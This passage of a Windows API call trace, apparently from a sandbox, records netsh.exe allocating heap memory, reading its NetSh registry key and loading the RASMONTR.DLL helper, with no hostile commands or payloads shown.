(HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2034a0 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2034c0 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2034e0 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203500 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203520 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203540 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203560 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203580 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2035a0 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2035c0 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2035e0 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203600 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203620 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203640 [0200.139] GetProcessHeap () returned 0x1e0000 [0200.139] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203660 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203680 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2036a0 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2036c0 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2036e0 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203700 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203720 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203740 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203760 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203780 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2037e0 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203800 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203820 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203840 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203860 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.140] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203880 [0200.140] GetProcessHeap () returned 0x1e0000 [0200.141] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2038a0 [0200.141] GetProcessHeap () returned 0x1e0000 [0200.141] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2038c0 [0200.141] GetProcessHeap () returned 0x1e0000 [0200.141] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2038e0 [0200.141] GetProcessHeap () returned 0x1e0000 [0200.141] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203900 [0200.141] GetProcessHeap () returned 0x1e0000 [0200.141] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203920 [0200.141] GetProcessHeap () returned 0x1e0000 [0200.141] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203940 [0200.141] GetProcessHeap () returned 0x1e0000 [0200.141] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203960 [0200.141] GetProcessHeap () returned 0x1e0000 [0200.141] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203980 [0200.141] GetProcessHeap () returned 0x1e0000 [0200.141] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2039a0 [0200.141] GetProcessHeap () returned 0x1e0000 [0200.141] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2039c0 [0200.141] GetProcessHeap () returned 0x1e0000 [0200.245] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2039e0 [0200.245] GetProcessHeap () returned 0x1e0000 [0200.245] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203a00 [0200.245] GetProcessHeap () returned 0x1e0000 [0200.245] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203a20 [0200.344] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203a40 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203a60 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203a80 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203aa0 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203ac0 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203ae0 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203b00 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203b20 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203b40 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203b60 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203b80 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203ba0 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203bc0 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203be0 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203c00 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203c20 [0200.345] GetProcessHeap () returned 0x1e0000 [0200.345] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203c40 [0200.346] GetProcessHeap () returned 0x1e0000 [0200.346] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203c60 [0200.346] GetProcessHeap () returned 0x1e0000 [0200.346] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203c80 [0200.346] GetProcessHeap () returned 0x1e0000 [0200.346] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203ca0 [0200.346] GetProcessHeap () returned 0x1e0000 [0200.346] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203cc0 [0200.346] GetProcessHeap () returned 0x1e0000 [0200.346] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203ce0 [0200.346] GetProcessHeap () returned 0x1e0000 [0200.346] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203d00 [0200.346] GetProcessHeap () returned 0x1e0000 [0200.346] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203d20 [0200.346] GetProcessHeap () returned 0x1e0000 [0200.346] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203d40 [0200.346] GetProcessHeap () returned 0x1e0000 [0200.346] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203d60 [0200.346] GetProcessHeap () returned 0x1e0000 [0200.346] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203d80 [0200.346] GetProcessHeap () returned 0x1e0000 [0200.346] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203da0 [0200.346] GetProcessHeap () returned 0x1e0000 [0200.346] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203dc0 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203de0 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203e00 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203e20 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203e40 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203e60 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203e80 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203ea0 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203ec0 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203ee0 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203f00 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203f20 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203f40 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203f60 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.347] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203f80 [0200.347] GetProcessHeap () returned 0x1e0000 [0200.348] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x203fe0 [0200.348] GetProcessHeap () returned 0x1e0000 [0200.348] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x204000 [0200.348] GetProcessHeap () returned 0x1e0000 [0200.348] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x204020 [0200.348] GetProcessHeap () returned 0x1e0000 [0200.348] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x204040 [0200.348] GetProcessHeap () returned 0x1e0000 [0200.348] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x204060 [0200.348] GetProcessHeap () returned 0x1e0000 [0200.348] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x204080 [0200.348] GetProcessHeap () returned 0x1e0000 [0200.348] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2040a0 [0200.348] GetProcessHeap () returned 0x1e0000 [0200.348] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2040c0 [0200.348] GetProcessHeap () returned 0x1e0000 [0200.348] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2040e0 [0200.348] GetProcessHeap () returned 0x1e0000 [0200.348] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x204100 [0200.348] GetProcessHeap () returned 0x1e0000 [0200.348] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x204120 [0200.348] GetProcessHeap () returned 0x1e0000 [0200.349] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x204140 [0200.349] GetProcessHeap () returned 0x1e0000 [0200.349] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x204160 [0200.349] GetProcessHeap () returned 0x1e0000 [0200.349] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x204180 [0200.349] GetProcessHeap () returned 0x1e0000 [0200.349] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2041a0 [0200.349] GetProcessHeap () returned 0x1e0000 [0200.349] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2041c0 [0200.349] GetProcessHeap () returned 0x1e0000 [0200.349] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x2041e0 [0200.349] GetProcessHeap () returned 0x1e0000 [0200.349] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x204200 [0200.349] GetProcessHeap () returned 0x1e0000 [0200.349] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x10) returned 0x204220 [0200.349] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0200.349] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0200.349] GetProcessHeap () returned 0x1e0000 [0200.349] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x28) returned 0x1fe040 [0200.349] GetProcessHeap () returned 0x1e0000 [0200.349] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x2) returned 0x2047b0 [0200.349] GetProcessHeap () returned 0x1e0000 [0200.349] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x14) returned 0x204240 [0200.349] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0200.350] GetProcessHeap () returned 0x1e0000 [0200.350] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0200.350] GetProcessHeap () returned 0x1e0000 [0200.350] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x58) returned 0x2047d0 [0200.350] GetProcessHeap () returned 0x1e0000 [0200.350] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x1e0000) returned 1 [0200.350] GetProcessHeap () returned 0x1e0000 [0200.350] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xb0) returned 0x1feb10 [0200.350] GetProcessHeap () returned 0x1e0000 [0200.350] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2047d0 | out: hHeap=0x1e0000) returned 1 [0200.350] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x127548 | out: phkResult=0x127548*=0x90) returned 0x0 [0200.350] RegQueryInfoKeyW (in: hKey=0x90, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x127570, lpcbMaxValueNameLen=0x127580, lpcbMaxValueLen=0x127578, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x127570*=0x15, lpcbMaxValueNameLen=0x127580, lpcbMaxValueLen=0x127578, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0200.351] GetProcessHeap () returned 0x1e0000 [0200.351] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x8, Size=0x16) returned 0x204260 [0200.351] GetProcessHeap () returned 0x1e0000 [0200.351] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x8, Size=0x23) returned 0x1fe070 [0200.351] RegEnumValueW (in: hKey=0x90, dwIndex=0x0, lpValueName=0x204260, lpcchValueName=0x127540, lpReserved=0x0, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588 | out: lpValueName="4", lpcchValueName=0x127540, lpType=0x0, lpData=0x1fe070, lpcbData=0x127588) returned 0x0 [0200.351] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9 [0200.351] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9 [0200.351] GetProcessHeap () returned 0x1e0000 [0200.351] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x50) returned 0x2047d0 [0200.351] GetProcessHeap () returned 0x1e0000 [0200.351] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x4) returned 0x204830 [0200.351] GetProcessHeap () returned 0x1e0000 [0200.351] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x1a) returned 0x1fe0a0 [0200.351] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL" [0200.351] GetProcessHeap () returned 0x1e0000 [0200.351] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fe040 | out: hHeap=0x1e0000) returned 1 [0200.351] LoadLibraryW (lpLibFileName="RASMONTR.DLL") returned 0x7fef4a70000 [0202.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x126f40 | out: lpSystemTimeAsFileTime=0x126f40*(dwLowDateTime=0xff36f760, dwHighDateTime=0x1d696f3)) [0202.975] GetCurrentProcessId () returned 0x60c [0202.975] GetCurrentThreadId () returned 0x6a8 [0202.975] GetTickCount () returned 0x113e88b [0202.975] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x126f48 | out: lpPerformanceCount=0x126f48*=13019273313) returned 1 [0202.982] LoadLibraryA (lpLibFileName="MSVCRT.DLL") returned 0x7fefddb0000 [0202.986] GetVersion () returned 0x1db10106 [0202.986] SetErrorMode (uMode=0x0) returned 0x0 [0202.986] SetErrorMode (uMode=0x8001) returned 0x0 [0202.988] LocalAlloc (uFlags=0x0, uBytes=0x2000) returned 0x2061c0 [0202.989] LocalFree (hMem=0x2061c0) returned 0x0 [0202.989] GetVersion () returned 0x1db10106 [0202.990] GlobalLock (hMem=0xa20008) returned 0x2061c0 [0202.993] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x2063e0 [0202.993] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x204ee0 [0202.993] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x204280 [0202.993] malloc (_Size=0x100) returned 0x4c7c50 [0202.993] __dllonexit () returned 0x7fef49d621c [0202.994] __dllonexit () returned 0x7fef49d66e0 [0202.995] __dllonexit () returned 0x7fef49d72b8 [0202.995] __dllonexit () returned 0x7fef49d87cc [0202.995] __dllonexit () returned 0x7fef49d8d64 [0202.995] __dllonexit () returned 0x7fef49d8db4 [0202.995] __dllonexit () returned 0x7fef49d8e70 [0202.995] __dllonexit () returned 0x7fef49da308 [0202.996] __dllonexit () returned 0x7fef49d8810 [0202.997] __dllonexit () returned 0x7fef49e7598 [0202.997] __dllonexit () returned 0x7fef49d8880 [0202.997] __dllonexit () returned 0x7fef49da170 [0202.997] __dllonexit () returned 0x7fef49da280 [0202.997] __dllonexit () returned 0x7fef49dad44 [0202.997] __dllonexit () returned 0x7fef49dbc30 [0202.997] __dllonexit () returned 0x7fef49dbc80 [0202.997] __dllonexit () returned 0x7fef49dc338 [0202.998] __dllonexit () returned 0x7fef49dd030 [0202.998] __dllonexit () returned 0x7fef49d59cc [0202.998] __dllonexit () returned 0x7fef49d59f0 [0202.998] __dllonexit () returned 0x7fef49d5a1c [0203.000] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc0f3 [0203.001] __dllonexit () returned 0x7fef49e7568 [0203.001] __dllonexit () returned 0x7fef49e7574 [0203.001] __dllonexit () returned 0x7fef49e7580 [0203.002] __dllonexit () returned 0x7fef49e758c [0203.002] GetVersion () returned 0x1db10106 [0203.002] GetVersion () returned 0x1db10106 [0203.002] GetVersion () returned 0x1db10106 [0203.002] __dllonexit () returned 0x7fef493a15c [0203.002] __dllonexit () returned 0x7fef4946610 [0203.002] __dllonexit () returned 0x7fef49d8910 [0203.002] __dllonexit () returned 0x7fef49d8b90 [0203.002] __dllonexit () returned 0x7fef49d8bb4 [0203.002] __dllonexit () returned 0x7fef4956ae0 [0203.003] GetVersion () returned 0x1db10106 [0203.003] GetProcessVersion (ProcessId=0x0) returned 0x60001 [0203.004] GetSystemMetrics (nIndex=11) returned 32 [0203.004] GetSystemMetrics (nIndex=12) returned 32 [0203.004] GetSystemMetrics (nIndex=2) returned 17 [0203.004] GetSystemMetrics (nIndex=3) returned 17 [0203.004] GetDC (hWnd=0x0) returned 0x180106a2 [0203.005] GetDeviceCaps (hdc=0x180106a2, index=88) returned 96 [0203.005] GetDeviceCaps (hdc=0x180106a2, index=90) returned 96 [0203.005] ReleaseDC (hWnd=0x0, hDC=0x180106a2) returned 1 [0203.005] GetSysColor (nIndex=15) returned 0xf0f0f0 [0203.005] GetSysColor (nIndex=16) returned 0xa0a0a0 [0203.005] GetSysColor (nIndex=20) returned 0xffffff [0203.005] GetSysColor (nIndex=18) returned 0x0 [0203.005] GetSysColor (nIndex=6) returned 0x646464 [0203.005] GetSysColorBrush (nIndex=15) returned 0x1100059 [0203.005] GetSysColorBrush (nIndex=6) returned 0x1100061 [0203.005] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0203.006] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0203.006] __dllonexit () returned 0x7fef49d8f84 [0203.006] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc0f5 [0203.007] __dllonexit () returned 0x7fef4963990 [0203.007] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004 [0203.009] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003 [0203.009] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002 [0203.009] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a [0203.009] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b [0203.009] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d [0203.009] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e [0203.009] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f [0203.009] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006 [0203.009] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007 [0203.009] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc0b2 [0203.009] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc0b8 [0203.010] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc0f5 [0203.010] __dllonexit () returned 0x7fef49e75a4 [0203.010] __dllonexit () returned 0x7fef49e75bc [0203.010] __dllonexit () returned 0x7fef49e75c8 [0203.011] __dllonexit () returned 0x7fef49e75d4 [0203.011] __dllonexit () returned 0x7fef49e75e0 [0203.011] GetCursorPos (in: lpPoint=0x7fef4a426d8 | out: lpPoint=0x7fef4a426d8*(x=808, y=453)) returned 1 [0203.012] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x206730 [0203.012] LocalReAlloc (hMem=0x204280, uBytes=0x18, uFlags=0x2) returned 0x206840 [0203.012] GetCurrentThread () returned 0xfffffffffffffffe [0203.012] GetCurrentThreadId () returned 0x6a8 [0203.012] __dllonexit () returned 0x7fef49dcfa4 [0203.013] SetErrorMode (uMode=0x0) returned 0x8001 [0203.013] SetErrorMode (uMode=0x8001) returned 0x0 [0203.013] GetModuleFileNameW (in: hModule=0x7fef4920000, lpFilename=0x126630, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\MFC42u.dll" (normalized: "c:\\windows\\system32\\mfc42u.dll")) returned 0x1e [0203.013] wcscpy_s (in: _Destination=0x126840, _SizeInWords=0x104, _Source="MFC42u" | out: _Destination="MFC42u") returned 0x0 [0203.118] FindResourceW (hModule=0x7fef4920000, lpName=0xe01, lpType=0x6) returned 0x4409b0 [0203.607] LoadStringW (in: hInstance=0x7fef4920000, uID=0xe000, lpBuffer=0x126a50, cchBufferMax=256 | out: lpBuffer="") returned 0x0 [0203.608] wcscpy_s (in: _Destination=0x126664, _SizeInWords=0x5, _Source=".HLP" | out: _Destination=".HLP") returned 0x0 [0203.608] wcscat_s (in: _Destination="MFC42u", _SizeInWords=0x104, _Source=".INI" | out: _Destination="MFC42u.INI") returned 0x0 [0203.612] malloc (_Size=0x80) returned 0x4c7e80 [0203.612] LocalAlloc (uFlags=0x40, uBytes=0x2100) returned 0x206860 [0203.612] GetSystemDirectoryA (in: lpBuffer=0x126cd0, uSize=0x112 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0203.612] strcat_s (in: _Destination="C:\\Windows\\system32", _SizeInBytes=0x112, _Source="\\MFC42" | out: _Destination="C:\\Windows\\system32\\MFC42") returned 0x0 [0203.613] strcat_s (in: _Destination="C:\\Windows\\system32\\MFC42", _SizeInBytes=0x112, _Source="LOC" | out: _Destination="C:\\Windows\\system32\\MFC42LOC") returned 0x0 [0203.613] strcat_s (in: _Destination="C:\\Windows\\system32\\MFC42LOC", _SizeInBytes=0x112, _Source=".DLL" | out: _Destination="C:\\Windows\\system32\\MFC42LOC.DLL") returned 0x0 [0203.613] LoadLibraryExA (lpLibFileName="C:\\Windows\\system32\\MFC42LOC.DLL", hFile=0x0, dwFlags=0x2) returned 0x0 [0203.624] GetProcAddress (hModule=0x7fef4a70000, lpProcName="InitHelperDll") returned 0x7fef4a8cf70 [0203.624] InitHelperDll () returned 0x0 [0203.625] RegisterHelper () returned 0x0 [0203.625] GetProcessHeap () returned 0x1e0000 [0203.625] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x108) returned 0x208970 [0203.625] GetProcessHeap () returned 0x1e0000 [0203.625] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1feb10 | out: hHeap=0x1e0000) returned 1 [0203.628] RegisterHelper () returned 